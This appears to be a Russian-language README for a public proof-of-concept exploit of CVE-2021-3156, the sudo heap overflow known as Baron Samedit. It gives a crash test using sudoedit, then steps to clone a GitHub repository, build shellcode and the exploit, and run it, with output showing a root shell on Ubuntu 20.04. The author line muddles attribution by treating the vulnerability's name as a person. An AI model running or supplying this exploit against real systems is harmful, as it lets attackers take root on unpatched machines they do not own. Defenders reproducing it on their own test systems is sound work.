
Эксплойт, подтверждающий концепцию для CVE-2021-3156, переполнение буфера в куче в sudo до версии 1.9.5p2, позволяющее повышение привилегий до root через sudoedit -s.
Sudo до версии 1.9.5p2 содержит ошибку off-by-one, которая может привести к переполнению буфера в куче, что позволяет повысить привилегии до root через sudoedit -s и аргумент командной строки, заканчивающийся одним символом обратной косой черты.
Автор: Консультация от Baron Samedit of Qualys
Проект sudo выпустил команду, позволяющую проверить, уязвима ли ваша версия sudo:
sudoedit -s '\' `perl -e 'print "A" x 65536'`
Если вы получили сообщение об использовании или ошибку, sudo не уязвим. Если результатом является Segmentation fault, sudo уязвим.
PoC получения root shell для CVE-2021-3156 (без перебора) Протестировано на Ubuntu 20.04 (sudo 1.8.31)
$ git clone https://github.com/CyberCommands/CVE-2021-3156.git
$ cd CVE-2021-3156
$ make
mkdir libnss_x
cc -O3 -shared -nostdlib -o libnss_x/x.so.2 shellcode.c
cc -O3 -o exploit exploit.c
$ ./exploit
# whoami
root